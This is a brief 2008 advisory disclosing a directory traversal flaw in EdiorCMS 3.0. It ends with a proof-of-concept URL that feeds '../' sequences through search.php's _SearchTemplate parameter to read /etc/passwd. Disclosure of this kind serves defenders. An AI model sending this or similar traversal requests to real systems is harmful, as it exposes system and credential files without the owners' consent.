Directory traversal in EdiorCMS V3.0 

Application:  EdiorCMS V3.0
Vendor:	      http://www.edior.com	
Versions:     3.0
Platforms:    ALL
Bug:          Directory traversal
Exploitation: remote
Date:         13 Mar 2008
Author:       Shennan Wang
              e-mail: wsn1983@gmail.com
POC:          http://site/ecms/search.php?_SearchKeyWord=&_SearchField=Title&_SearchTemplate=../../../../../../etc/passwd